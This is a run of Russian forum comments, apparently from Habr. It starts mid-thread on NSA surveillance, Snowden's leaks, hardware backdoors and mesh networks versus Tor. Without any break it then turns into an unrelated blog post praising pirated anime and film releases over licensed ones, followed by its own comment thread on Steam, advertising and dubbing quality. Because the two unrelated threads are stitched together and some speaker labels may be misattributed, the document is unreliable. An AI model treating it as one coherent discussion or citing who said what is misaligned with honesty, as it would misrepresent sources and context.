Не нравятся легко установимым фактом использования.
J_o_k_e_R
А как можно установить кто использует эту сеть?
Scratch
А точно так же. Только вместо большого сниффера мощный передвижной wifi-приемник. Поездил такой или несколько погороду, все элементы mesh как на ладони.
shara
При достаточной популярности меш-сетей и возможно некоторой гибридной модели меш-сеть+интернет, поверх можно развернуть тот же Tor\i2p и получить хопы [Питер-Новая Зеландия-Африка-Америка ], но зачем?

Основным минусом оверлейных сетей считаю использование Интернета как канала для передачи данных. Свободный интернет должен быть абсолютно свободен и не должен даже использовать подконтрольную инфраструктуру т.к. в конечном итоге, это может, и скорее всего окажется ахиллесовой пятой.
yshurik
Вы связывать ячейки mesh как будете? Голубиной почтой? Если нет, а скорее всего Вы будете использовать радиоканалы то радиосреда еще более подконтрольна всяким там ФАПСИ, чем интернет. Частоты лицензируются, нелицензируемые частоты действуют на «расстоянии плевка».

Я до сих пор искренне не понимаю как предлагается блокировать что i2p, что OpenVPN, который с легкостью можно замаскировать под цифровой шум, ssl и т.п. Что подтверждается, что OpenVPN даже в Китае до сих пор толком не блочат. Если будут действовать по принципу белого списка, то нарушат гигантское количество инфраструктур, до чего опять же даже Китай не дошел.
А Ваши радио-mesh сети, что? Ну связали вы ячейку на частоте условно 2,7 Ггц. Приехала к Вам машина с антенной под дом или мудхакер Вася с китайской вайфай глушилкой под окно и нет Вашей ячейки.
shara
Нет там никаких «документов», кроме голословных утверждений. То есть для «испугаться и начать бегать кругами» там информации достаточно, для того, чтобы понять, что это за unspecified vulnerabilities — нет.
Aingis
что это за unspecified vulnerabilities

Вполне привычный 0day, который, если заморочиться reverse engineering'ом или просто анализом исходного кода, есть в любом продукте, а то и сразу букет. В любом случае, к каждому продукту (компоненту) требуется индивидуальный подход.
shara
Я это понимаю. Я не понимаю, почему этого следует бояться больше, чем какого-нибудь зевса с комплектом 0day эксплоитов.
BarsMonster
В случае с drive-by downloads атаки осуществляются в отношении случайных наименее защищённых (и наименее интересных кому-либо с точки зрения проникновения и получения доступа к чему-либо) пользовательских машин. Да и эксплойты для этих целей зачастую клепают на базе уже выложенных в публичный доступ PoC, против которых апдейты или уже существуют, или вот-вот появятся.
Disasm
Мне кажется, что технология и намерения — это ортогональные вещи. Атака может вестись на конкретного человека, с учётом социальной инженерии (письмо от ген.директора с его работы и текстом «У меня есть ряд вопросов к вам. Зайдите завтра ко мне для беседы, и, пожалуйста, найдите адекватное объяснение вот этого: localhost.localdomain/pub/aa.scr.exe.php.msi.java.tar.gz.dll»)

BarsMonster
Как там в Америке все любили шутить? В Советском Союзе не вы смотрите телевизор, а телевизор смотрит на вас? Пора американцам «проапгрейдить» шутки и Советский Союз/Россию заменить на свою горячо любимую страну. И действительно, хорошо смеется тот, кто смеется последний.
Just123i
А теперь перечитайте что вы написали и попробуйте объяснить — зачем тогда все эти сложности?
shara
Шпионаж. Межгосударственная война. Выслеживание «неугодных» личностей. Выявление очагов чего либо.
Just123i
Мне кажется, защита приватности в Сети вторична, важнее противодействие цензуре. «Дади в штатском» от вас потребуют объяснений за «Хутин — пуй» только в том случае, если будут уверены, что информация об этом не станет широко известной, что любой поток можно всегда пресечь.

Я не считаю неважной защиту приватности, но считаю ее второй по приоритету после защиты публичности. Если удастся победить цензуру, защита личной информации от государства тоже укрепится.

Мне кажется, не того боимся.
MunGell
Вот почему США выкинуло Huawei, сначала сами заставили их (как и всех других производителей) сделать закладки, а потом испугались что сами китайцы ими воспользуются.
J_o_k_e_R
У меня стоит Windows 8. Когда ноутбук бездействует некоторое время запускаются какие-то виндовые службы и начинают прилично грузить процессор.
За мной следят?:)
shara
Отключите в настройках Службу Безопасности
J_o_k_e_R
Федеральную
Just123i
Ну да.
Проще не пользоваться соцсетями, бесплатной почтой типа gmail, и вообще интернетом без крайней необходимости, а звонить с старого телефона без камеры и интернета, вести дневники и заметки в старых добрых кпк без вайфая и блютуза, или еще лучше в электронных органайзерах старого образца (супер вещь была) без возможности внешнего подключения.
J_o_k_e_R
Почитай не про винду но в тему:
habrahabr.ru/post/180971/
Just123i
Они пытаются снять отпечатки ваших пальцев через клавиатуру.
J_o_k_e_R
Еще одна заметка по этой теме (английский, много буков) Топик на slashdot.org (английский, еще больше букв, сленг и ненормативная лексика, 18+)
amarao
Бекдоры они встраивают. Людей за это судят, а им видите ли можно, закон не для них.
Lux_In_Tenebris
Интересно получается: Сноуден сейчас может компроментировать кого угодно, просто предоставив несколько ничем не подтвержденных файлов и большинство людей ему поверят.

P.S. Я не хочу сказать, что статья — ложь, просто размышления.
amarao
Тут тема намного глубже. Это все попытки обратить внимание общественности, на реальную ситуацию — люди под контролем и наблюдением.
Чего стоит недавний конфликт в Германии
dokumentika.org/lt/specialiosios-tarnybos/spetssluzhbi-i-slezhka-za-internet-polzovatelyami-cherez-troyanskie-programmi-i-virusi

Если подумать глобально, то любой гаджет легко может не только следить за набором текста и перемещением, но собирать информацию с других датчиков которых сейчас предостаточно в любом современном устройстве (гироскоп, акселерометр, камеры, датчики магнитного поля, датчики приближения, датчики освещения)

Собрав такой пласт информации от личности, группы людей, населения города, страны… Можно вывести статистические данные о том, как такая масса реагирует например на события в Сирии, кто о чем пишет, кому, в каком настроении, искренне или нет, и т.д. Все это очень удобный инструмент манипуляции на массы в будущем, так как зная что вы чувствуете и как реагируете в различных ситуациях вами очень просто манипулировать. Вашими страхами, желаниями, чувствами.

Эта тема была частично поднята в этой статье
habrahabr.ru/post/180971
Lux_In_Tenebris
АНБ и их коллеги в Великобритании, Канаде, Австралии и Новой Зеландии.


Так вот куда делась Британская Империя. Она теперь в интернете.
amarao
«сообщается о неназванном международном стандарте шифрования, принятом Международной организацией по стандартизации в 2006 году» — какой, интересно?
sashkin
Процессоры и чипсеты вероятно содержат бэкдоры, в силу монополии Intel и AMD (альтернативы им нет, особенно первому, даже если открыто заявят, что внедряют бекдоры, а процессор и чипсет не покупаетсяф, а арендуется, то послать их не получится при всём желании).

Кстати, а вариант, что вся история со Сноуденом — это псиоп, направленный на подрыв доверия к криптографии? Какие конкретно алгоритмы уязвимы?

>сообщается о неназванном международном стандарте шифрования, принятом Международной организацией по стандартизации в 2006
почему же до сих пор этот стандарт не выяснен?
исо что так много стандартов в год принимает?
или у них стандарты секретные?
не один из этих ли случайно?
www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=33928
www.iso.org/iso/ru/home/store/catalogue_tc/catalogue_detail.htm?csnumber=37971
А может это вообще деза, а ско(м)прометирован другой стандарт другого года?

Чувствую я, «конспирологи» благодаря Сноудену срубят тонны бабла.
Cupper
Неужели вы не видите в этих рассуждениях одной большой проблемы?
Боженьки — нет, АНБ и ФСБ — есть. Вот и разница, которая меняет всё в корне.
shara
Я готов отрыть ВСЕ личные данные о себе, при условии, что это будет необходимо сделать всем без исключения, в том числе корпорациям, службам и правительствам. Меня не напрягает, что они видят меня без одежды, а скорее то, что они при этом сидят в плаще и темных очках. Это мысль полностью раскрыта в книге Реконизм, и я ее поддерживаю.
Cupper
в книге Реконизм

на подобную тему можно ещё почитать
Гигабайты власти: информационные технологии между свободой и тоталитаризмом
Anarchist
Да, хорошая Книга, и особенно интересно что ей уже почти 10 лет а её актуальность только повышается…
DjOnline
Вы искренне верите, что «на площади никто не срёт» только из-за боязни, что все увидят? И это называется «жить „честно“»?
dbelka
Самая моя параноидальная мысль, что биткоины создали специально для привлечения огромных пользовательских ресурсов для взлома криптозазищенных данных, хотя открытый код и армия фанатов уже бы давно пролили свет
Disasm
Великая демократия во всей своей первозданной красоте. Просто нет слов.
mtp
>Все плохо
>$250M в год на попытки что-то подслушать

Не так уж и плохо IMHO.
Marsmoon
Это только на встраивание бэкдоров в коммерческие продукты…
Marsmoon
«поэтому на 2013 год АНБ планировало либо встроить аппаратный бэкдор в чипы шифрования»

Ы, а я предсказывал! XD ( habrahabr.ru/post/187422/#comment_6517130 )
Cupper
Если кто еще не успел прочесть, рекоменду, роман Джорджа Оруэлла «1984» Книга была запрещена в СССР до 1988 года. В наши дни её сюжет приобретает новое звучание…

Цитата с вики:
Книга была написана в 1949 году. В ней изображена тоталитарная система, пришедшая на смену капитализму. При этом новое общество полностью отрицает свободу и автономию личности. Для него характерны: мобилизация всех сил для реализации глобальной цели; концентрация власти в руках одной партии, направляемой вождём; безраздельная монополия на средства коммуникации; считаемая единственно верной идеология; полный контроль за общественной и частной жизнью; жестокое насилие в отношении всех инакомыслящих и несогласных; постоянные поиски врагов, с которыми ведется непримиримая война; материальная нищета и всеобщий страх
KEKSOV
Мне так не кажется: тотальная слежка это мечта многих властей, но ранее это натыкалось на технические трудности, такие как необходимость содержать большой штат агентов, устанавливать прослушивающие устройства и прочие ограничения. Сейчас же, когда есть возможность через ограниченное количество мест проводить сбор данных, это естественно, что будет делаться, как например, у нас с помощью СОРМ.
Такие громкие крики в Америке только потому, что они не привыкли думать, что живут в тоталитарном государстве (в процессе становления) и пытаются как могут этому противостоять.
Вчера вон там появилась блогозапись уважаемого forgotten о том, какою интересною была бы система безлимитного доступа к лицензионному контенту за фиксированную абонентскую плату, вносимую помесячно.
> 600
комментов
Многие из вас оставили там комментарии, посвящённые целому ряду животрепещущих вопросов, как-то: можно ли считать «пирата» ещё и «вором», а не то и «насильником»; каков был бы приемлемый размер такой абонентской платы (достаточно ли двухсот рублёв, или надобно полтыщщи); уместно ли хрустеть попкорном в кинотеатре во время просмотра; что случается, когда приходится разлочить беспроводной модем для работы под Линуксом или истребовать с парикмахера кучу деньжищщ за некорректную пострижку; похожа ли эта схема на ту, которою в своей деятельности руководствуется печально и мрачно известное нам РАО; способна ли такая система стать приемлемою на Камчатке, где за 64 kbps безлимита дерут астрономическую сумму (шесть тыщщ рублёв!); пожелает ли правоторговец вообще подсоединяться к этакой системе (не поощрит ли он тем самым своих конкурентов); возможно ли грабить и расшаривать стримы в торрентах парой-тройкой-другою движений мыши; будут ли правоторговцы делиться с авторами, и если да, то как; не достаточно ли концертов для вознаграждения исполнителей.
К сожалению, почти не была никем затронута тема более высокого качества нелицензионного контента по сравнению с лицензионным. Только TheShock вспомнил и привёл превосходную картинку о том, что правоторговцы в нагрузку к видеозаписям обожают «впаривать» и непропускаемые предупреждения о недопустимости копирования диска, и рекламу других фильмов, так что всё это неимоверно «достаёт» зрителя даже прежде, чем он приступит к просмотру желаемого фильма:



Хорошо, но мало. Предлагаю погрузиться в эту проблему чуть глубже и понаблюдать те случаи, когда не только сопутствующая хрень, но даже и сама лицензионная видеозапись бывает зрителю настолько не нужна, что он всецело готов с превеликой благодарностью прибегнуть к услугам так называемых «пиратов» и даже полагать их благодетелями человечества.

Сотни и тысячи любителей телесериалов посещают сайт TV Underground, где достают гиперссылки на телесериалы, позволяющие добыть их по файлообмену (при помощи сети ed2k, или Kad, или торрентов). Ежемесячно всем миром собирают полкилобакса на поддержание работоспособности этого сайта и сопутствующего ему поискового ed2k-сервера.

Сотни и тысячи любителей видеофильмов и кинофильмов посещают сайт ShareTheFiles (где нетрудно раздобыть ed2k-гиперссылки желаемых фильмов) или торрентовые трекеры, где невозбранно достигают желаемого.

Сотни и тысячи любителей аниме посещают сайт AnimeTake, сегодня утром прилёгший по неизвестной причине, но до этого позволявший раздобывать видеозаписи аниме либо при помощи торрентов, либо с файловых хостингов, также называемых «файлообменниками» (Megaupload, Hotfile, FileServe, и им подобных). К их услугам также сервер AniDB, хранящий массы ed2k-хэшей аниме (вообще-то в целях идентификации и контроля целостности файлов, но и для файлообмена по сетям ed2k и Kad они годятся).

Что ищут там все эти люди? Чего дают им «пираты», но не могут дать правоторговцы?

Во-первых, доступность культурного продукта. Сериал, фильм, аниме, вышедшие за рубежом, часто просто невозможно приобрести в России легально. Ненавистное с советских времён «не завезли», которое и преодолевается файлообменом XXI века.

Во-вторых, оперативность распространения культурного продукта. Сериал, фильм, аниме, вышедшие за рубежом, нередко появляются в России в легальном виде только через полгода, или год, или даже через несколько лет, да и то сперва на экранах кинотеатров, затем на экранах зомбоящиков, и только после того — для домашнего просмотра. К тому времени они утрачивают актуальность. «Пиратский» файлообмен делает их доступными в день выхода в стране происхождения — или на следующий же день.

В-третьих, доступ к подлинной звуковой дорожке. Актёр играет не только мимикою, жестами, позою, но также и голосом, дыханием, тембром, интонациями речи. Какой бы талантливою не была сотрудница закадровой озвучки, она всё же не Моника Белуччи и не Риэ Кугимия (на фото справа), ужé поэтому всякий голосовой перевод является преступлением перед культурной ценностью первоисточника, а ведь при озвучке нередко ещё и забивают (или приглушают) естественный шумовой фон, закадровую музыку, звуки спецэффектов, и так далее. В «пиратском» файлообмене видеозапись доступна с нетронутым звуком, а перевод даётся субтитрами, которые либо в готовом виде включаются в видеоконтейнер (как у большинства «запираченных» аниме), либо раздобываются желающими из альтернативных источников (скажем, с сайта Subscene). В лицензионных видеозаписях, продаваемых в России, первоначальный звук встречается всё реже и реже.

В-четвёртых, возможность отказаться от некачественного перевода. В LJ-сообществе sadtranslations приводится несколько тысяч примеров диких ляпов в переводах фильмов и телесериалов. (Наиболее вопиющие анимированы на иллюстрации справа.) Однако в «пиратском» варианте зритель, как правило, получает возможность выбора из нескольких вариантов перевода — от нескольких различных «пиратских» групп или отдельных переводчиков-нелегалов. А если зритель также знает английский язык — пускай и не настолько, чтобы схватывать с голоса, но в достаточной мере для чтения — то перед зрителем также открывается возможность смотреть англоязычный фильм с англоязычными же субтитрами (огрехи в которых он способен оценить самостоятельно), возможность смотреть аниме с англоязычными субтитрами (качество перевода в которых обыкновенно бывает получше, чем у российских переводчиков). В лицензионных видеозаписях, продаваемых в России, перевод бывает только один, и если он не отличается качественностью — значит, не повезло. Изготовление же собственного перевода без согласия правоторговца незаконно, а согласия он не даст.
Doomsday_nxt
действительно, я бы охотнее покупал лицензионный контент, если бы это было сделать проще, просмотр/прослушивание оного у меня не вызывало бы проблем, а так-же если бы при каждом шаге я вдруг не становился бы преступников (например при просмотре фильма в компании друзей или прослушивании музыки на домашней вечеринке)
proc
>действительно, я бы охотнее покупал лицензионный контент, если бы это было сделать проще

Абсолютно согласен. Я, до появления Steam ни одной игры не купил, а теперь периодически покупаю так как
— это можно сделать за 3 клика
— слижу за акциями
— не надо париться с поиском кейгенов и т.д. Через 20 минут после покупки я (а главное мой мелкий) уже могу играть.
teh13th
И если уж говорить конкретно про Steam, то нельзя не отметить ценовую политику:
— Регулярные скидки по 25-50-75%.
— Низкие цены для России (и наверно других стран СНГ — я не проверял).
Система доставки удобная — пару минут и уже можно скачивать. Вообще Steam — лучшее что придумано в цифровой дистрибуции на данный момент.
darkfrei
Очень понравилась акция по бесплатной раздаче Portal год назад.
teh13th
Да. Правда обидно было, что отхватил бесплатный портал на пиратский аккаунт, а через месяц завел лицензионный (пиратским более не пользуюсь). Но недавно с купленным Порталом 2 получил первый Портал в подарок — восстановил справедливость.
mshewzov
Абсолютно согласен! Благодаря регулярным скидкам, неделям брендов и прочим акциям приобрел массу замечательных игр по ценам, несравненно ниже розничных в наших магазинах! А после того, как клиент Steam перешел на WebKit, автономный режим стал вменяемым и играть можно без наличия сети.
Раньше недолюбливал Steam, но сейчас я всеми руками только «за».

И, кстати, вместе с некоторыми играми сторонних разработчиков (например, BattleField Bad Command 2) идет стандартный ключ игры, который можно применить к любому скачанному с торрентов дистрибутиву этой игры. Это актуально тогда, когда в Steam нет локализованной версии, а на торрентах она есть. Лицензия на игру у тебя есть, а дистрибутив можно взять где угодно.
dasty
Слово «слижу» имеет несколько другое значение :)
proc
Да, спасибо
random1911
В стиме же есть offline режим?
crea7or
… который можно включить только имея подключение к Интернету.
Dellirium
Согласен. Раньше почти никогда не покупал лицензионный контент. А теперь все игры покупаю через Steam.
Из преимущест добавлю:
— Мне не надо думать и искать игры под Мак.
— Мне не надо думать как установить игру.
— Мне не надо думать запустится моя игра или нет.
— Мне не надо думать про сохранения, они хранятся у Стима.
— Мне не надо думать я могу просто играть.
Shemet
В Стиме с играми под Мак, все-таки, пока бедновато. Есть тот же macgamestore.com, в котором есть все Мак релизы доступные в Стиме, плюс сотни других недоступных. Сервис построен по принципу Mac App Store. Хотя и отсутствуют некоторые приятные/полезные фичи, которые есть в Стиме.

Надеюсь, это не выглядит как реклама. К ним я отношения никакого не имею.
Marklee
думаю, это все от того, что некоторые идеи отталкиваются от мысли «заработать», немногие от мысли «сделать хорошо», но кроме этого, часть тех которые сделаны хорошо продаются за мысль «заработать» и этим извращаются.

«как монетизировать» — вот что ломает продукты или то, что может улучшить их качетво, если об этом не думать.

об этом стоит задумываться каждому, кто начинает новое дело, проект или стартап, потому как мысли о «монетизации» это болезнь тех, кто не разрабатывает (не творит), а спекулирует ))
kulbit
Хорошая статья. В ней автор, в отличие от предыдущих, четко выделил позиции преимущества пиратского контента. Предыдущие посты в стиле «я негодую» были непродуманы и написаны как попало. Были какие-то несформировавшиеся до конца точки зрения, написанные под влиянием эмоций.
JuliaTem
Между прочим, это касается и, например, журналов. Вот скажите, на кой фиг в National Geographic реклама водки, сигарет и носителей внушительных бюстов, если это смотрит мой ребенок? Я понимаю, бумажный журнал в руках держать приятно, но всю эту дурь от туда ну ни как не вырежешь!
RostislavDzinko
А взять бритвенное лезвеё и срезать — это не вариант? Или проклятые верстальщики располагают рекламу на обратной стороне значащих страниц?
futureader
Именно так. Открываю любой номер «Популярной механики» — на левой странице, собственно, содержимое журнала, на правой — реклама. Встречаются и рекламные блоки по 2 страницы сразу, и даже по 4! (в таком случае страницы раскладываются в стороны)

Но это не самый вопиющий случай. Недавно скачал около 10 выпусков американского журнала «Sky & Telescope» — так там половина журнала без рекламы, а у второй половины рекламой заполнена каждая правая страница полностью, и каждая левая на 2/3. Читать информацию становится просто нереально.
Mithgol
Ну так они же живут с продажи рекламы, как же им быть?

У меня на сайтах, например, рекламы нет и не будет, но это только потому, что я могу это себе позволить. А 90% интернета (включая тот же гугл) живет на доходы от рекламы.

Вот лезу в гугл, расходы на рекламу в России в и-нете 22 млрд руб. Пользователей примерно 10 млн. Т.е. на каждого в год — 2200 рублей.

Готов ли КАЖДЫЙ пользователь и-нета в России платить в год 2200 рублей за безрекламный и-нет?
Deeman
Большинство печатных СМИ живут и с реализации тиража, и с рекламы. Честно говоря, видя в купленных газете или журнале рекламу, чувствую себя немного обманутым. Ладно в бесплатных, нов платных, да ещё не дешёвых…
ZyL
Я могу ошибаться, но насколько я знаю, основной доход идет именно с рекламы, продают их, а не раздают бесплатно, в частности для того, чтобы попасть в целевую аудиторию. Т.е. я не дам рекламу шестисотого мерседеса в бесплатный журнал, потому что я не хочу, что ее спотрели бомжи, а вот в журнал, которые стоит сто баксов — очень даже да.

Т.е. я хочу сказать, что можно обойтись без рекламы, но в этом случае за журнал придется платить покупателю, и цена вырастет и скорее всего довольно существенно.

Мне, конечно, 90% рекламы не нравится, но это реальность, с которой ничего не поделаешь, с одной строны, и, возможно, и не надо ничего делать с другой.

P.S. А картинка с просмотром лецинзионного DVD — это пять, поубивал бы. У меня есть старые DVD из России, и я уже который год смотрю там рекламу каких-то банков, которые уже 13 лет как не существуют.
VolCh
О соотношении доходов у меня сведений нет, но очень бы порадовала возможность покупать на выбор прессу без рекламы дороже, или с рекламой дешевле. Правда не могу сказать, насколько «дороже» повлияет на мой выбор :) В два раза — легко, в 10 — вряд ли, но тут, наверное, проблема вырисовывается: ЦА «шестисотых» (имею в виду текущую флагманскую модель в со всеми «фичами», или вы об антиквариате 60-х?) вполне себе может позволить и более чем в 10 раз дороже нынешних журнал, а тем более газету, без рекламы, а значит подорожает и вариант с рекламой…

ZyL
Спасибо, что «заставили» посмотреть на рекламу в прессе с непривычной стороны.
VolCh
К сожалению, это не сработает. Стоимость журналов окупает только их непосредственное производство и логистику. Т.е. работа идёт «в ноль». А с рекламы оплачиваются гонорары авторам и кормится вся издательская машина. Вот так вот просто это и делится.

И если говорить про СМИ, пишущие про ИТ, увы, у них уже нет особого дохода. Сегодня они скорее выживают и дай бог, если им удаётся продолжить жизнь онлайн.
VolCh
А это Россия. У них так делать не будут — тогда журналу надо ставить рейтинг повыше. А это падение продаж.
batollo
Зря Мицгола минусуете. В некоторых журналах *вся* реклама на отдельных листах, которые можно просто вырезать. Насчёт NG не знаю.
ZyL
Ээ, а что, внушительные бюсты уже стали нуждаться в рекламе?
namezys
Да это ко всему относится. Хоть к Андроид Маркету тому же. Я вот фиг когда что-то там куплю, но нет — мне будут это впаривать.
Просто дело в том, что ""«пиратские»"" записи выкладываются людьми для людей, а официальные — ""«бизнесменами»"" для непонятно кого. А им нужно обязательно показать 100500 реклам и срубить бабла.
naryl
Столько сколько нужно!
Ведь противоположная сторона рождает свои бредовые идеи без сна и отдыха!
Может быть кто-то из законотворцев обратит внимание и на эту статью… случайно… но всё же.
Вдруг у них всплывет идея узаконить недопустимость второй части картинки из топика.
jetfreeman
Топик резонный, но чего вы пытаетесь добиться этими постами?
vitalif
Похоронить тему на пару месяцев.
lesa80
А потом опять все по новой. Не раз уже подымалось
Amlor
Заебать нелицензионностью всех окончательно.
ChemAli
Не знаю, я люблю такие топики, приятно читать человека который озвучивает твоё мнение и негодование)
Ryav
Кстати, любительский перевод очень часто оказывается лучше перевода профессиональными студиями. Порой кажется, что ни переводчик коммерческой компании, ни озвучивающий не видели фильм вообще ни разу, и не понимают, о чем идет разговор. Бессмысленность некоторых диалогов в результате перевода порой поражает, как незнание некоторыми переводчиками простейших бытовых фраз с переносным смыслом, которые они переводят дословно.
VSOP_juDGe
… как и незнание…
Tqb
Вспомнилось: www.youtube.com/watch?v=c6xI3BUIzsc&feature=related

(Осторожно! Длительное прослушивание может повлечь кратковременные сбои в восприятии речи)
throble
Ну, у нас тоже звезды есть
www.youtube.com/watch?v=eZmy4R6UBh0
throble
Так это вроде как каграз пиратская студия. Только я так и не понял, каков был замысел заказчика оплачивать эту озвучку.
Kaluchi
Подробности: habrahabr.ru/blogs/humour/72449/
В частности, этот комментарий: habrahabr.ru/blogs/humour/72449/#comment_2077343
ValdikSS
Да, это я читал, но так и неясно, с какой целью заказчик хотел получить именно такую нелепую озвучку. А может это просто пиар студии такой оригинальный.
Powerhead
А, ну это да, либо пиар, либо заказчик надеялся, что студия сама поправит перевод перед озвучкой, и не надо будет за это платить отдельно.
Dragonizer
Кураж-Бамбей тому пример (надеюсь они не являются профессиональной студией...).
Powerhead
По крайней мере книга «Кодекс Братана от Барни Стинсона», которая на каждом углу продается, с их переводом, и это в ней указано.
Dragonizer
Кураж-Бамбей — профессиональная озвучивающая студия. Они заявляли, что переводом не занимаются, лишь слегка адаптируют существующий. Например, для «Как я встретил вашу маму» берётся перевод людей Slivas и Mike Rosoft с рутрекера.
kulinich
а порой так и бывает. читал статью, что на некоторые фильмы распространяется такая секретность, что актеры при дубляже в лучшем случае видят губы героев, а то и таковой возможности лишены. а все потому, чтоб заранее не узнали сюжет и спецэффекты.
RostislavDzinko
Требования по обеспечению секретности отчасти понятны, но качество продукта сильно страдает. :(
LbICbIY
… зато потом появляются «пиратки», которые качественнее «лицух». Потому, что переводили, зная весь оригинал, а не по кусочкам.
glamcoder
вот именно ведь любители переводят то что им нравится. Они в теме, в отличие от наемных переводчиков.
Приведенный в статье «Биоволк» очень точно отражает это.

Когда вышел «Недотепа» Лукьяненко, издатель допустил немалое количество ошибок в электронной версии. Читатели какое-то время сообщали о них в комменты к писателю, тот обещал передать издательству.Я качал потом эту книгу снова с сайта продаж электронных книг — воз и ныне там.

Это же полный бред. Если бы книга была в свободном доступе исправление банальных ошибок занимало бы пять минут, и дальше все остальные получили бы уже исправленную версию.
throble
возможно это было сделано специально, чтобы по таким «меткам» определять источники утечки материалов в свободный доступ.
merlin-vrn
делать это ляпами? не верю
bogolt
Да легко. Характерные ошибки — один из признаков анализа авторства. А сделать их «меткой» канала возможной утечки — просто следующий шаг.
khorost
Лукьяненко, кстати, некогда признавался в том, что использовал именно этот метод анализа утечек своих текстов со стола бета-тестеров. (За давностью лет мне не удастся, правда, разыскать гиперссылку — так что верьте мне на слово или не верьте.)
namezys
Ну ляпы не должны же быть столь явные
Atrax
Подозреваю, что этими явными ляпами маскируются более тонкие ляпы, чтобы потóм «пирата» можно было обвинить в нелицензионном копировании книжки именно из этой библиотеки, пускай и совершённом с дальнейшей вычиткою и правкою наиболее явных ляпов.
Mithgol
В музыке похожее используется, делают смену фазы в одном месте под «эффект» или прогоняют фильтр. Обычному человеку незаметно.
namezys
Полностью согласен
Несколько раз встречал перевод
Rodger that >> Роджер
Copy that >> скопировал

И у говнопереводчиков даже мыли не закралось, что на зарос «Бери на себя правого» ответ «Роджер» не может быть верным.

PS Замочи этого козла >> Семен Иваныч Айзенштруль
Mithgol
Даже поиск и отбор контента в сети определяет многое. В магазине я не могу отсортировать исполнителей по жанру/алфавиту/дате релиза, оценить их число или узнать рейтинг популярности, что в сети делается с необыкновенною легкостью. Вывод о бесполезности медиамагов напрашивается сам собой, имхо сделать там покупку можно только случайно.
equand
А ещё весело, когда чтобы получить запись с нужным исполнителем, то сделать это можно потратив на поездку за диском или пересылку больше денег, чем стоит лицензионный диск. При этом мы получаем ненужную болванку, т.к. её содержимое тут же будет отправлено во flac, а значит деньги потраченные на изготовление диска и макулатуры, зарплату продавцам, прибыли копирастам уходят без пользы для группы.
Реальный пример о вышесказанном: интернет магазин Рокмаркет. Диск стоит 181 рубль. Пересылка диска 250 рублей. Интересно, получит ли группа свои 100 рублей с продажи этого диска или нет?
mitrichlab
Только когда копирастов затошнит…
ChemAli
В серии «табы против пробелов» остановились на восьмём, так что ещё четыре топика у нас впереди)
FSA
Думаю, термин «не завезли» применим не только к аниме. Как известно, спрос рождает предложение. Нет спроса — нет и предложения. Поэтому к нам не везут, а может даже и не переводят, многое и многое, так и не нашедшее массового потребителя здесь. Отчасти поэтому и появляются любительские переводы, потому как группа желающих какое-либо произведение (будь то аниме, художественный или мультипликационный фильм и т.п.) иногда настолько мала, что произведение выкачивается (опять же нелегально) и смотрится либо на языке оригинала, либо находится группа единомышленников, которая делает субтитры или звуковую дорожку.

Ну и конечно почта роисси такая почта, что быстрее скачать желаемое на модеме, чем дождаться посылки, пусть и купленной в каком-либо зарубежном магазине.

Так что считаю, что есть доля «пиратства» от которой никак не избавиться.
riga
от доли не избавитесь ни в каком обществе: минимальная планка будет находиться в пределах 10-20%.
но «не завезли», в том числе, образуется и от отсутствия предложения: если нет нормального предложения, не произойдёт увеличения «группы любителей»
ArcKain
«Как известно, спрос рождает предложение»

Именно поэтому появился iPhone, ага.
TheShock
Дефицит рождает спрос. Пусть и псевдодефицит :)
admhome
>>ужé поэтому всякий голосовой перевод является преступлением перед культурной ценностью первоисточника
Нужно расстрелять Кубу77
unconnected
В опросе на сайте «НЯШ» ≈67,4% опрошенных (5806 голосов) высказались за то, чтобы Кубу77 сжечь, и Персону99 вместе с ним.
vk2
Ещё нужно заменить, insert DVD на Download.
darkfrei
Steam позволяет делать это даже с лицензионным контентом.
SonicGD
Слово Downlaoding понравилось =)
Mithgol

кликабельно
roboter
Вы топик то читали или сразу ответили?
darkfrei
Ну а чем игра на эмоциях («грузчику может быть обидно», «о чём думаете ёпта», «кто смелый?») лучше этих «оправданий»?
alexivanov
Как часто Вы питаетесь протухшими продуктами?
Lux_In_Tenebris
Угу. Их ведь тоже делали, старались. Подумаешь, подпортились чуток :)
CorbenDallas
Вообще-то пиратство это не воровство и не кража. Так как, в случае кражи, законный владелец предмета лишается предмета. В данном случае, отсутствует главный элемент типа: объект преступления.

В случае пиратства, просто нарушается чье-то право на эксклюзивное распоряжение. Даже нельзя сказать, что правообладатель теряет на этом деньги, так как не факт, что нарушитель купил бы лицензию, если бы не смог бы достать пиратскую версию.

Поэтому имеет место ущемление интересов правообладателя без причинения ему материального ущерба.

Сами правообладатели жалуются на недополученную прибыль. На самом деле эти утверждения ошибочны. Различные опросы (например в нашем университете был подобный опрос среди студентов) установили, что если бы пиратская версия не была бы доступна, то лицензионную версию все равно бы не купили. Поэтому никакой прибыли с подавляющего большинства нарушителей не было бы, вне зависимости от возможности спиратить контент.

Поэтому на данный момент имеет место ситуация, когда горстка людей (менее 0,01% населения) пытается необоснованно нарушить права всего населения. Это такие фундаментальные права, как неприкосновенность жилища, конфиденциальность коммуникаций и презумпция невиновности.

Стоить напомнить этой горстке людей, что законы и права граждан страны в сути определяются народом ее населяющим и что этот народ может в любое отменить ваше право на эксклюзивное распоряжение результатами вашего интеллектуального труда и поставить систему вознаграждение наподобие советской. Поэтому если вы этого не хотите, то развивайте сервисы, которые облегчают доступ к лицензионным материалам (spotify, netflix, steam, itunes store...) и не рыпайтесь на фундаментальные права граждан.
Amlor
Весь вопрос в стимулах. Если сейчас фактически за незаконное копирование не наказывают частных лиц, то если подобное наказание введут, или же, как в США начнут преследовать через иски обычных граждан — то не за горами отмена эксклюзивного права на копию как такового.

Я лично, склоняюсь больше к модернизированной советской системе компенсации автора. Проясню это примером о звукозаписывающей индустрии.

Основные принципы:
1) Переход к прямому спонсированию автора государством.
2) Переход всего репертуара в общий доступ.
3) Справедливая формула компенсации и распределения отечественных и зарубежных авторов/исполнителей.
4) Формула должна регулярно пересматриваться и дополнятся.

Пример формулы:
1) Оценить изначальный рынок аудио-дисков с легальной музыкой (на 2004 примерно 200-300 млн. долларов*, сейчас может побольше), далее К
2) Выделить из бюджета К + αK будучи α коэффициентом роста. Коэффициент роста должен включать % от K для компенсации инфляции и регулировки роста рынка**.
3) Создать доступ к аудио-материалам через публичные медиатеки и библиотеки. Также необходимо создать единый интернет-портал для прослушивания и скачивания любой музыки в доступных форматах (с API для вставок на сайты и соц. сети и так далее).

Пример распределения К:
